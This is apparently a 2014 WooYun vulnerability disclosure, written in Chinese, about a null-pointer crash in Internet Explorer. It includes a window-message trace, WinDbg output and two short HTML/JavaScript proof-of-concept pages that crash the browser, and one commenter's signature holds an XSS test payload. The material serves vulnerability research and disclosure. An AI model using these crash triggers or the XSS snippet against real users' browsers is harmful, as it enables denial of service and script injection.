<00665> 000F0776 R WM_NCHITTEST nHittest:HTCLIENT
<00666> 000F0776 S WM_NCHITTEST xPos:473 yPos:179
<00667> 000F0776 R WM_NCHITTEST nHittest:HTCLIENT
<00668> 000F0776 S WM_MOUSEACTIVATE hwndTopLevel:000D0802 nHittest:HTCLIENT uMsg:WM_LBUTTONDOWN <-点击左键
<00669> 000F0776 R WM_MOUSEACTIVATE fuActivate:MA_ACTIVATE <-active
<00670> 000F0776 S WM_NULL
<00671> 000F0776 R WM_NULL
<00672> 000F0776 S message:0xC1D5 [已注册:"WM_HTML_GETOBJECT"] wParam:00000000 lParam:00000000 <-外层的事件处理
<00673> 000F0776 R message:0xC1D5 [已注册:"WM_HTML_GETOBJECT"] lResult:0000C080
<00674> 000F0776 S WM_IME_SETCONTEXT fSet:1 iShow:C000000F
<00675> 000F0776 S WM_IME_NOTIFY dwCommand:IMN_OPENSTATUSWINDOW dwCommand:00000002 dwData:00000000
<00676> 000F0776 R WM_IME_NOTIFY
<00677> 000F0776 R WM_IME_SETCONTEXT
<00678> 000F0776 S WM_SETFOCUS hwndLoseFocus:(null)
<00679> 000F0776 R WM_SETFOCUS
<00680> 000F0776 S WM_SETCURSOR hwnd:000F0776 nHittest:HTCLIENT wMouseMsg:WM_LBUTTONDOWN <-Listbox的事件处理由此触发
<00681> 000F0776 R WM_SETCURSOR fHaltProcessing:False
<00682> 000F0776 P WM_LBUTTONDOWN fwKeys:MK_LBUTTON xPos:58 yPos:30
<00683> 000F0776 S message:0xC1D5 [已注册:"WM_HTML_GETOBJECT"] wParam:00000000 lParam:00000000
<00684> 000F0776 R message:0xC1D5 [已注册:"WM_HTML_GETOBJECT"] lResult:0000C080
<00685> 000F0776 S WM_UPDATEUISTATE
<00686> 000F0776 R WM_UPDATEUISTATE
<00687> 000F0776 P WM_MOUSEMOVE fwKeys:MK_LBUTTON xPos:58 yPos:31
<00688> 000F0776 P WM_LBUTTONUP fwKeys:0000 xPos:58 yPos:31
<00689> 000F0776 S WM_CAPTURECHANGED hwndNewCapture:00000000
<00690> 000F0776 R WM_CAPTURECHANGED


点击后,值发生了变化,因此触发了onchange事件,此时size被设置为1。但是并没有完,外面还有一次WM_LBUTTONDOWN的MessageBump,见0418c2b0 50d39b96 MSHTML!CDoc::OnMouseMessage+0x274,而最后导致崩溃的这个ESI,早在

0:007> ln poi(036152c0)
(6854772c) jscript9!Js::ScriptFunction::`vftable' | (685478c4) jscript9!Js::DataView::`vftable'
Exact matches:
jscript9!Js::ScriptFunction::`vftable' = <no type information>
0:007> gu
eax=00000000 ebx=056848e0 ecx=0361bfb0 edx=0407bcd0 esi=036152c0 edi=032495b0
eip=6855993c esp=0407bcc4 ebp=0407bd08 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
jscript9!ScriptEngineBase::ExecuteInternal<0>+0xbb:
6855993c 8b5514 mov edx,dword ptr [ebp+14h] ss:002b:0407bd1c=acbd0704
0:007> gu
eax=00000000 ebx=056848e0 ecx=4212045e edx=00000000 esi=00000000 edi=032495b0
eip=68559878 esp=0407bd20 ebp=0407bd20 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
jscript9!ScriptEngineBase::Execute+0x1c:
68559878 5d pop ebp


这里就没了。后面一直是0没有变化过,IE也没做啥校验,就任由它空着一层层传下去,直到最后发生崩溃。

漏洞证明:

1、

<script type='text/javascript'>
function foo(event)
{
this.innerHTML = '1'; //CRASHES HERE
}

var NODE1=document.createElement("A");
var NODE2=document.createElement("A");
var NODE3=document.createElement("A");
var HEAD = document.head;

HEAD.appendChild(NODE1);
NODE1.appendChild(NODE2);
HEAD.appendChild(NODE3);

Range = document.createRange();
Range.setStart(NODE2, 0);
Range.setEnd(NODE2, 0);
NODE1.addEventListener("DOMNodeInserted", foo, false);

Range.surroundContents(NODE3); //ignites DOM1 event of NODE1

</script>


2、

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 
<HTML>
<BODY>
<FORM>
<select size="6" onchange="this.size=0;">
<option>2222随便点一个</option>
<option>5555</option>
<option>6777</option>
</select>
</FORM>
</body>
</html>


f1.png

修复方案:

不能远程执行代码,微软大老爷肯定不乐意修

版权声明:转载请注明来源 blast@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-10-20 13:39

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-10-17 10:02 | Sogili ( 普通白帽子 | Rank:129 漏洞数:27 )

  2. 2014-10-17 10:02 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    前排

  3. 2014-10-17 10:05 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    卧槽

  4. 2014-10-17 10:08 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    这个。。。

  5. 2014-10-17 10:24 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    前排

  6. 2014-10-17 10:25 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    卧槽

  7. 2014-10-17 10:31 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 !!!)

    我屮艸芔茻

  8. 2014-10-17 10:38 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

    空指针导致的crash=.= 不是那种萌萌的use-after-free = =

  9. 2014-10-17 10:51 | Alen ( 实习白帽子 | Rank:86 漏洞数:21 | 精华漏洞数:10 | WooYun认证√ Duang)

    长见识

  10. 2014-10-17 14:06 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天,我会骑着雨牛@'雨。踩着一哥@jan...)

    文件格式漏洞研究专家? (全是dos漏洞、、)

  11. 2014-10-17 15:26 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

    @老和尚 不是,偶然发现的

  12. 2014-10-17 17:08 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天,我会骑着雨牛@'雨。踩着一哥@jan...)

    @blast 这偶然也太多了吧、还是二进制审计牛

  13. 2014-10-17 18:38 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

    我屮艸芔茻 mark

  14. 2014-10-17 20:00 | RainShine ( 路人 | Rank:2 漏洞数:4 )

    卧槽出售花生瓜子矿泉水,马克一下

  15. 2014-10-17 23:10 | backtrack丶yao ( 普通白帽子 | Rank:290 漏洞数:107 | "><img src=x onerror=alert(666666);> <im...)

    记者拍这里

  16. 2014-10-18 18:18 | Jack.Chalres ( 实习白帽子 | Rank:39 漏洞数:15 | ..............)

    so diao

  17. 2014-10-19 19:45 | rasca1 ( 实习白帽子 | Rank:53 漏洞数:16 | 菜鸟一只)

  18. 2015-01-15 17:56 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM:http://bbs.jyhack.com/)

    搬砖路过